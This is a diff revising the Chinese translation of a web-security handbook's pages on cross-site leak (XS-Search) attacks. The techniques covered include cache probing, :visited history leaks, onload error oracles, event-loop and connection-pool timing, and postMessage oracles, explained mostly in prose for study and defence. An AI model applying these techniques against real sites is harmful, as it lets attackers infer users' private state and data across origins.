+- **HTMLVideoElement**: 它暴露了 `videoHeight` 和 `videoWidth`。在某些浏览器中，像 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 等附加属性可用，提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息，包括 `totalVideoFrames`，这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
+- **HTMLImageElement**: 该元素泄露了图像的 `height` 和 `width`。但是，如果图像无效，这些属性将返回 0，并且 `image.decode()` 函数将被拒绝，表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
 ### CSS Property
 
@@ -699,8 +699,8 @@ console.log(await debug(win, "https://example.com/?a=b"))
 - **Summary:** 识别与用户状态或身份相关的网站样式变化。
 - **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
 
-Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中，**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则，攻击者可以根据用户状态 **检测** 这些 **差异**。\
-作为一种泄露技术，攻击者可以使用 `window.getComputedStyle` 方法 **读取特定 HTML 元素的 CSS** 属性。因此，如果已知受影响的元素和属性名称，攻击者可以读取任意 CSS 属性。
+Web 应用程序可能会根据用户的状态改变 **网站样式**。跨域 CSS 文件可以通过 **HTML link 元素** 嵌入到攻击者页面中，**规则** 将被 **应用** 到攻击者页面。如果页面动态更改这些规则，攻击者可以根据用户状态 **检测** 这些 **差异**。\
+作为一种泄露技术，攻击者可以使用 `window.getComputedStyle` 方法来 **读取特定 HTML 元素的 CSS** 属性。因此，如果已知受影响的元素和属性名称，攻击者可以读取任意 CSS 属性。
 
 ### CSS History
 
@@ -711,19 +711,19 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
 - **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
 
 > [!NOTE]
-> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)，在无头 Chrome 中此方法无效。
+> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法，这在无头 Chrome 中不起作用。
 
-CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去，可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而，现代浏览器已实施安全措施，以防止此方法泄露链接的状态。这些措施包括始终返回计算样式，仿佛链接已被访问，并限制可以使用 `:visited` 选择器应用的样式。
+CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。在过去，可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而，现代浏览器已实施安全措施，以防止此方法泄露链接的状态。这些措施包括始终返回计算样式，仿佛链接已被访问，并限制可以使用 `:visited` 选择器应用的样式。
 
 尽管有这些限制，但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互，特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合，可能根据用户交互揭示访问状态。
 
-此外，可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接，这可能在渲染中引入可测量的时间差。一个概念证明（PoC）在 Chromium 错误报告中提到，演示了使用多个链接来放大时间差，从而通过时间分析使访问状态可检测。
+此外，可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接，这可能在渲染中引入可测量的时间差异。在 Chromium 的一个错误报告中提到了一种概念验证（PoC），演示了使用多个链接来放大时间差异，从而通过时间分析使访问状态可检测。
 
 有关这些属性和方法的更多详细信息，请访问其文档页面：
 
-- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
-- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
-- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
+- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
+- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
+- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
 
 ### ContentDocument X-Frame Leak
 
@@ -733,7 +733,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Summary:** 在 Google Chrome 中，当由于 X-Frame-Options 限制而阻止页面嵌入到跨域站点时，会显示专用错误页面。
 - **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-在 Chrome 中，如果带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入，则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象（而不是 `null`），与 iframe 或其他浏览器不同。攻击者可以通过检测空文档来利用这一点，可能揭示用户状态的信息，特别是如果开发人员不一致地设置 X-Frame-Options 头，通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
+在 Chrome 中，如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入，则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象（而不是 `null`），这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点，可能揭示有关用户状态的信息，特别是如果开发人员不一致地设置 X-Frame-Options 头，通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
 
 ### Download Detection
 
@@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> 这就是为什么这个技术有趣的原因：Chrome 现在有 **缓存分区**，新打开页面的缓存键是：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`，但如果我打开一个 ngrok 页面并在其中使用 fetch，缓存键将是：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`，**缓存键是不同的**，因此缓存不能共享。您可以在这里找到更多细节：[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> 这就是为什么这个技术很有趣：Chrome 现在有 **缓存分区**，新打开页面的缓存键是：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`，但是如果我打开一个 ngrok 页面并在其中使用 fetch，缓存键将是：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`，**缓存键是不同的**，因此缓存不能共享。您可以在这里找到更多细节：[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > （来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论）
 
 如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源，那么该资源将具有与通过顶级导航直接请求该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
 
 因为访问缓存比加载资源更快，所以可以尝试更改页面的位置并在 20 毫秒（例如）后取消它。如果在停止后更改了源，则意味着资源已被缓存。\
-或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
+或者可以 **发送一些 fetch 到可能被缓存的页面并测量所需时间**。
 
 ### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
@@ -789,7 +789,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Inclusion Methods**: Fetch API
 - **Detectable Difference**: Timing
 - **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
-- **Summary:** 可以尝试加载资源并在加载之前中断加载。根据是否触发错误，资源可能已被缓存或未被缓存。
+- **Summary:** 可以尝试加载资源，并在加载之前中断加载。根据是否触发错误，资源可能已被缓存或未被缓存。
 - **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 
 使用 _**fetch**_ 和 _**setTimeout**_ 结合 **AbortController** 来检测 **资源是否被缓存** 并将特定资源从浏览器缓存中驱逐。此外，该过程在不缓存新内容的情况下进行。
@@ -810,9 +810,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Summary:** 测量使用服务工作者的网页的执行时间。
 - **Code Example**:
 
-在给定的场景中，攻击者主动在其域之一（特别是 "attacker.com"）中注册一个 **服务工作者**。接下来，攻击者从主文档中在目标网站打开一个新窗口，并指示 **服务工作者** 开始计时器。当新窗口开始加载时，攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
+在给定的场景中，攻击者主动在其域之一（特别是 "attacker.com"）中注册一个 **服务工作者**。接下来，攻击者从主文档中在目标网站打开一个新窗口，并指示 **服务工作者** 开始计时。当新窗口开始加载时，攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
 
-在前一步发起的请求到达时，**服务工作者** 以 **204 (No Content)** 状态码响应，有效地终止导航过程。此时，**服务工作者** 捕获从第二步开始的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
+在前一步发起的请求到达时，**服务工作者** 以 **204 (No Content)** 状态码响应，有效地终止导航过程。此时，**服务工作者** 捕获了在第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
 
 > [!WARNING]
 > 在执行计时中，可以 **消除** **网络因素** 以获得 **更精确的测量**。例如，通过在加载页面之前加载页面使用的资源。
@@ -846,9 +846,9 @@ dangling-markup-html-scriptless-injection/
 ### Image Lazy Loading
 
 如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**，您应该检查 **常见的悬挂标记技术**。\
-但是，如果由于某种原因您 **必须** 逐个字符地进行（也许通信是通过缓存命中），您可以使用这个技巧。
+但是，如果出于某种原因您 **必须** 逐个字符地进行（也许通信是通过缓存命中），您可以使用这个技巧。
 
-**HTML 中的图像** 有一个 "**loading**" 属性，其值可以是 "**lazy**"。在这种情况下，图像将在查看时加载，而不是在页面加载时：
+**图像** 在 HTML 中具有一个 "**loading**" 属性，其值可以是 "**lazy**"。在这种情况下，图像将在查看时加载，而不是在页面加载时：
 ```html
 <img src=/something loading=lazy >
 ```
diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md
index c9683aaea..ea03b4b6b 100644
--- a/src/pentesting-web/xs-search/README.md
+++ b/src/pentesting-web/xs-search/README.md
@@ -10,7 +10,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 
 - **易受攻击的网页**：目标网站，信息旨在从中提取。
 - **攻击者的网页**：攻击者创建的恶意网站，受害者访问，托管漏洞。
-- **包含方法**：用于将易受攻击的网页纳入攻击者网页的技术（例如，window.open、iframe、fetch、带有 href 的 HTML 标签等）。
+- **包含方法**：用于将易受攻击的网页纳入攻击者网页的技术（例如，window.open、iframe、fetch、带 href 的 HTML 标签等）。
 - **泄漏技术**：用于根据通过包含方法收集的信息来辨别易受攻击网页状态差异的技术。
 - **状态**：易受攻击网页的两种潜在条件，攻击者旨在区分。
 - **可检测差异**：攻击者依赖于的可观察变化，以推断易受攻击网页的状态。
@@ -19,10 +19,10 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 
 可以分析多个方面以区分易受攻击网页的状态：
 
-- **状态码**：区分 **各种 HTTP 响应状态码** 跨源，如服务器错误、客户端错误或身份验证错误。
+- **状态码**：区分 **各种跨源 HTTP 响应状态码**，如服务器错误、客户端错误或身份验证错误。
 - **API 使用**：识别跨页面的 **Web API 使用情况**，揭示跨源页面是否使用特定的 JavaScript Web API。
-- **重定向**：检测导航到不同页面，不仅仅是 HTTP 重定向，还有由 JavaScript 或 HTML 触发的重定向。
-- **页面内容**：观察 **HTTP 响应体中的变化** 或页面子资源中的变化，例如 **嵌入框架的数量** 或图像的大小差异。
+- **重定向**：检测导航到不同页面，不仅是 HTTP 重定向，还有由 JavaScript 或 HTML 触发的重定向。
+- **页面内容**：观察 **HTTP 响应体中的变化** 或页面子资源中的变化，例如 **嵌入框的数量** 或图像的大小差异。
 - **HTTP 头**：注意 **特定 HTTP 响应头** 的存在或可能的值，包括 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等头。
 - **时间**：注意两个状态之间的一致时间差异。
 
@@ -30,7 +30,7 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 
 - **HTML 元素**：HTML 提供多种元素用于 **跨源资源包含**，如样式表、图像或脚本，迫使浏览器请求非 HTML 资源。可以在 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) 找到此目的的潜在 HTML 元素的汇编。
 - **框架**：如 **iframe**、**object** 和 **embed** 的元素可以将 HTML 资源直接嵌入攻击者的页面。如果页面 **缺乏框架保护**，JavaScript 可以通过 contentWindow 属性访问框架资源的窗口对象。
-- **弹出窗口**：**`window.open`** 方法在新标签或窗口中打开资源，为 JavaScript 提供 **窗口句柄** 以与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录，绕过目标资源的框架和 cookie 限制。然而，现代浏览器限制弹出窗口的创建仅限于某些用户操作。
+- **弹出窗口**：**`window.open`** 方法在新标签或窗口中打开资源，为 JavaScript 提供 **窗口句柄** 以与遵循 SOP 的方法和属性进行交互。弹出窗口通常用于单点登录，绕过目标资源的框架和 cookie 限制。然而，现代浏览器限制弹出窗口的创建，仅限于某些用户操作。
 - **JavaScript 请求**：JavaScript 允许使用 **XMLHttpRequests** 或 **Fetch API** 直接请求目标资源。这些方法提供对请求的精确控制，例如选择跟随 HTTP 重定向。
 
 ### 泄漏技术
@@ -39,17 +39,17 @@ XS-Search 是一种通过利用 **侧信道漏洞** 来 **提取跨源信息** 
 - **错误消息**：JavaScript 异常或特殊错误页面可以直接从错误消息中提供泄漏信息，或通过区分其存在与否来提供信息。
 - **全局限制**：浏览器的物理限制，如内存容量或其他强制的浏览器限制，可以在达到阈值时发出信号，作为泄漏技术。
 - **全局状态**：可检测的与浏览器 **全局状态**（例如，历史接口）的交互可以被利用。例如，浏览器历史中的 **条目数量** 可以提供有关跨源页面的线索。
-- **性能 API**：此 API 提供 **当前页面的性能细节**，包括文档和加载资源的网络时序，使得对请求资源的推断成为可能。
+- **性能 API**：此 API 提供 **当前页面的性能细节**，包括文档和加载资源的网络时序，能够推断请求的资源。
 - **可读属性**：某些 HTML 属性是 **跨源可读的**，可以用作泄漏技术。例如，`window.frame.length` 属性允许 JavaScript 计算跨源网页中包含的框架数量。
 
 ## XSinator 工具与论文
 
-XSinator 是一个自动化工具，用于 **检查浏览器是否存在多种已知的 XS-Leaks**，详见其论文：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
+XSinator 是一个自动工具，用于 **检查浏览器是否存在多种已知的 XS-Leaks**，详见其论文：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
 
 您可以 **访问该工具** [**https://xsinator.com/**](https://xsinator.com/)
 
 > [!WARNING]
-> **排除的 XS-Leaks**：我们不得不排除依赖于 **服务工作者** 的 XS-Leaks，因为它们会干扰 XSinator 中的其他泄漏。此外，我们选择 **排除依赖于特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如，跨源资源共享（CORS）错误配置、postMessage 泄漏或跨站脚本。此外，我们还排除了基于时间的 XS-Leaks，因为它们通常存在缓慢、嘈杂和不准确的问题。
+> **排除的 XS-Leaks**：我们不得不排除依赖 **服务工作者** 的 XS-Leaks，因为它们会干扰 XSinator 中的其他泄漏。此外，我们选择 **排除依赖特定 Web 应用程序中的错误配置和漏洞的 XS-Leaks**。例如，跨源资源共享（CORS）错误配置、postMessage 泄漏或跨站脚本。此外，我们还排除了基于时间的 XS-Leaks，因为它们通常存在缓慢、嘈杂和不准确的问题。
 
 ## **基于时间的技术**
 
@@ -131,28 +131,28 @@ performance.now-+-force-heavy-task.md
 - **包含方法**: Frames
 - **可检测差异**: 页面内容
 - **更多信息**:
-- **总结**: 如果你可以在访问正确内容时使页面出错，并在访问任何内容时使其正确加载，那么你可以创建一个循环来提取所有信息，而无需测量时间。
+- **总结**: 如果您可以在访问正确内容时使页面出错，并在访问任何内容时使其正确加载，那么您可以创建一个循环来提取所有信息，而无需测量时间。
 - **代码示例**:
 
-假设你可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
+假设您可以**插入**包含**秘密**内容的**页面****在一个 Iframe** 中。
 
-你可以**让受害者搜索**包含“_**flag**_”的文件，使用**Iframe**（例如利用 CSRF）。在 Iframe 内，你知道 _**onload 事件**_ 将**至少执行一次**。然后，你可以**更改** **iframe** 的**URL**，但只更改**URL**中**hash**的**内容**。
+您可以**让受害者搜索**包含“_**flag**_”的文件，使用**Iframe**（例如利用 CSRF）。在 Iframe 内，您知道 _**onload 事件**_ 将**至少执行一次**。然后，您可以**更改** **iframe** 的 **URL**，但仅更改 **URL** 中 **hash** 的 **内容**。
 
 例如：
 
 1. **URL1**: www.attacker.com/xssearch#try1
 2. **URL2**: www.attacker.com/xssearch#try2
 
-如果第一个 URL **成功加载**，那么，当**更改** URL 的**hash**部分时，**onload**事件**不会再次触发**。但**如果**页面在**加载**时出现某种**错误**，那么，**onload**事件将**再次触发**。
+如果第一个 URL **成功加载**，那么，当**更改** URL 的 **hash** 部分时，**onload** 事件**不会再次触发**。但是**如果**页面在**加载**时出现某种**错误**，那么，**onload** 事件将**再次触发**。
 
-然后，你可以**区分**一个**正确**加载的页面或在访问时有**错误**的页面。
+然后，您可以**区分**一个**正确**加载的页面或访问时有**错误**的页面。
 
 ### Javascript 执行
 
 - **包含方法**: Frames
 - **可检测差异**: 页面内容
 - **更多信息**:
-- **总结**: 如果**页面**返回**敏感**内容，**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**，并在每次尝试中**加载**在**`<script>`**标签内，因此在**负面**情况下攻击者的**代码**被**执行**，而在**肯定**情况下**什么**都不会被执行。
+- **总结**: 如果**页面**返回**敏感**内容，**或**用户可以**控制**的**内容**。用户可以在**负面情况下**设置**有效的 JS 代码**，并在每次尝试中**加载**在 **`<script>`** 标签内，因此在**负面**情况下攻击者的**代码**被**执行**，而在**肯定**情况下**什么**都不会被执行。
 - **代码示例**:
 
 {{#ref}}
@@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
 - **包含方法**: HTML 元素
 - **可检测差异**: 状态码 & 头部
 - **更多信息**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **总结**: **跨源读取阻止 (CORB)** 是一种安全措施，防止网页加载某些敏感的跨源资源，以保护免受**Spectre**等攻击。然而，攻击者可以利用其保护行为。当受**CORB**保护的响应返回带有 `nosniff` 的 _**CORB 保护**_ `Content-Type` 和 `2xx` 状态码时，**CORB** 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出**状态码**（指示成功或错误）和 `Content-Type`（表示是否受到**CORB**保护）的组合，从而导致潜在的信息泄露。
+- **总结**: **跨源读取阻止 (CORB)** 是一种安全措施，防止网页加载某些敏感的跨源资源，以保护免受**Spectre**等攻击。然而，攻击者可以利用其保护行为。当受**CORB**保护的响应返回带有 `nosniff` 的 _**CORB 保护**_ `Content-Type` 和 `2xx` 状态码时，**CORB** 会剥离响应的主体和头部。观察到这一点的攻击者可以推断出**状态码**（指示成功或错误）和 `Content-Type`（表示是否受**CORB**保护）的组合，从而导致潜在的信息泄露。
 - **代码示例**:
 
 查看更多信息链接以获取有关攻击的更多信息。
@@ -177,18 +177,18 @@ javascript-execution-xs-leak.md
 - **总结**: 从 id 或 name 属性泄露敏感数据。
 - **代码示例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
-可以**在一个 iframe 中加载一个页面**，并使用**`#id_value`**使页面**聚焦于**指定的 iframe 元素，如果触发了**`onblur`**信号，则 ID 元素存在。\
-你可以使用**`portal`**标签执行相同的攻击。
+可以**在一个 iframe 中加载一个页面**并使用 **`#id_value`** 使页面**聚焦于**指定的 iframe 元素，如果触发了 **`onblur`** 信号，则 ID 元素存在。\
+您可以使用 **`portal`** 标签执行相同的攻击。
 
 ### postMessage 广播 <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
 
 - **包含方法**: Frames, Pop-ups
 - **可检测差异**: API 使用
 - **更多信息**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
-- **总结**: 从 postMessage 收集敏感信息，或使用 postMessages 的存在作为一个神谕，以了解用户在页面上的状态
+- **总结**: 从 postMessage 收集敏感信息或使用 postMessages 的存在作为一个神谕，以了解用户在页面上的状态
 - **代码示例**: `任何监听所有 postMessages 的代码。`
 
-应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而，如果 `targetOrigin` 参数未正确指定，这种方法可能会无意中暴露**敏感信息**，允许任何窗口接收消息。此外，接收消息的行为本身可以充当一个**神谕**；例如，某些消息可能仅发送给已登录的用户。因此，这些消息的存在或缺失可以揭示有关用户状态或身份的信息，例如他们是否经过身份验证。
+应用程序经常利用 [`postMessage` 广播](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) 在不同源之间进行通信。然而，如果 `targetOrigin` 参数未正确指定，此方法可能会无意中暴露**敏感信息**，允许任何窗口接收消息。此外，接收消息的行为本身可以充当一个**神谕**；例如，某些消息可能仅发送给已登录的用户。因此，这些消息的存在或缺失可以揭示有关用户状态或身份的信息，例如他们是否经过身份验证。
 
 ## 全局限制技术
 
@@ -202,7 +202,7 @@ javascript-execution-xs-leak.md
 
 可以识别目标页面使用了多少个**WebSocket 连接**。这使攻击者能够检测应用程序状态并泄露与 WebSocket 连接数量相关的信息。
 
-如果一个**源**使用了**最大数量的 WebSocket**连接对象，无论其连接状态如何，创建**新对象将导致 JavaScript 异常**。要执行此攻击，攻击者网站在弹出窗口或 iframe 中打开目标网站，然后，在目标网页加载后，尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
+如果一个**源**使用了**最大数量的 WebSocket** 连接对象，无论其连接状态如何，创建**新对象将导致 JavaScript 异常**。要执行此攻击，攻击者网站在弹出窗口或 iframe 中打开目标网站，然后，在目标网页加载后，尝试创建尽可能多的 WebSocket 连接。**抛出的异常数量**就是**目标网站**窗口使用的**WebSocket 连接数量**。
 
 ### 支付 API
 
@@ -216,10 +216,10 @@ javascript-execution-xs-leak.md
 
 因为**一次只能有一个支付请求处于活动状态**，如果目标网站使用支付请求 API，任何进一步尝试使用此 API 将失败，并导致**JavaScript 异常**。攻击者可以通过**定期尝试显示支付 API UI**来利用这一点。如果一次尝试导致异常，则目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
 
-### 事件循环计时 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### 计时事件循环 <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
 - **包含方法**:
-- **可检测差异**: 时间（通常由于页面内容、状态码）
+- **可检测差异**: 计时（通常由于页面内容、状态码）
 - **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
 - **总结**: 测量一个网页的执行时间，利用单线程的 JS 事件循环。
 - **代码示例**:
@@ -228,7 +228,7 @@ javascript-execution-xs-leak.md
 event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行，这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件，攻击者可以通过观察自己任务执行的延迟来推断这些外部事件的执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间，可能暴露敏感信息。
+JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) 并发模型上运行，这意味着**它一次只能执行一个任务**。这一特性可以被利用来评估**来自不同源的代码执行所需的时间**。攻击者可以通过不断调度具有固定属性的事件来测量其代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也在向同一池调度事件，攻击者可以通过观察自己任务执行的延迟来推断这些外部事件的执行时间。这种监控事件循环延迟的方法可以揭示来自不同源的代码的执行时间，可能暴露敏感信息。
 
 > [!WARNING]
 > 在执行计时中，可以**消除** **网络因素**以获得**更精确的测量**。例如，通过在加载页面之前加载所使用的资源。
@@ -236,12 +236,12 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
 ### 忙碌事件循环 <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **包含方法**:
-- **可检测差异**: 时间（通常由于页面内容、状态码）
+- **可检测差异**: 计时（通常由于页面内容、状态码）
 - **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环，然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作（例如长时间计算或同步 API 调用），并监控后续代码开始执行所需的时间，可以推断出在阻塞期间事件循环中执行的任务的持续时间。这一技术利用了 JavaScript 事件循环的单线程特性，其中任务是顺序执行的，可以提供对共享同一线程的其他操作的性能或行为的洞察。
+- **总结**: 测量网页操作执行时间的一种方法是故意阻塞线程的事件循环，然后计时**事件循环再次可用所需的时间**。通过在事件循环中插入一个阻塞操作（例如长时间计算或同步 API 调用），并监控后续代码开始执行所需的时间，可以推断出在阻塞期间事件循环中执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性，其中任务是顺序执行的，并且可以提供对共享同一线程的其他操作的性能或行为的洞察。
 - **代码示例**:
 
-通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的绕过**站点隔离**。**站点隔离**是一种安全特性，将不同网站分隔到不同的进程中，旨在防止恶意网站直接访问其他网站的敏感数据。然而，通过影响通过共享事件循环的另一个源的执行时机，攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问另一个源的数据，而是观察该源活动对共享事件循环的影响，从而规避**站点隔离**建立的保护屏障。
+通过锁定事件循环来测量执行时间的技术的一个显著优势是其潜在的规避**站点隔离**。**站点隔离**是一种安全功能，将不同网站分隔到不同的进程中，旨在防止恶意网站直接访问其他网站的敏感数据。然而，通过通过共享事件循环影响另一个源的执行时机，攻击者可以间接提取有关该源活动的信息。这种方法不依赖于直接访问其他源的数据，而是观察该源活动对共享事件循环的影响，从而规避**站点隔离**建立的保护屏障。
 
 > [!WARNING]
 > 在执行计时中，可以**消除** **网络因素**以获得**更精确的测量**。例如，通过在加载页面之前加载所使用的资源。
@@ -249,7 +249,7 @@ JavaScript 在 [单线程事件循环](https://developer.mozilla.org/en-US/docs/
 ### 连接池
 
 - **包含方法**: JavaScript 请求
-- **可检测差异**: 时间（通常由于页面内容、状态码）
+- **可检测差异**: 计时（通常由于页面内容、状态码）
 - **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 - **总结**: 攻击者可以锁定所有插座，除了 1 个，加载目标网页，同时加载另一个页面，直到最后一个页面开始加载的时间就是目标页面加载所需的时间。
 - **代码示例**:
@@ -263,24 +263,24 @@ connection-pool-example.md
 1. 确定浏览器的插座限制，例如，256 个全局插座。
 2. 通过向不同主机发起 255 个请求，长时间占用 255 个插座，旨在保持连接开放而不完成。
 3. 使用第 256 个插座向目标页面发送请求。
-4. 尝试向不同主机发起第 257 个请求。由于所有插座都在使用中（根据步骤 2 和 3），此请求将被排队，直到有插座可用。此请求进行之前的延迟为攻击者提供了与第 256 个插座（目标页面的插座）相关的网络活动的时间信息。这一推断是可能的，因为步骤 2 中的 255 个插座仍在使用，这意味着任何新可用的插座必须是从步骤 3 中释放的。第 256 个插座变得可用所需的时间因此直接与请求目标页面完成所需的时间相关联。
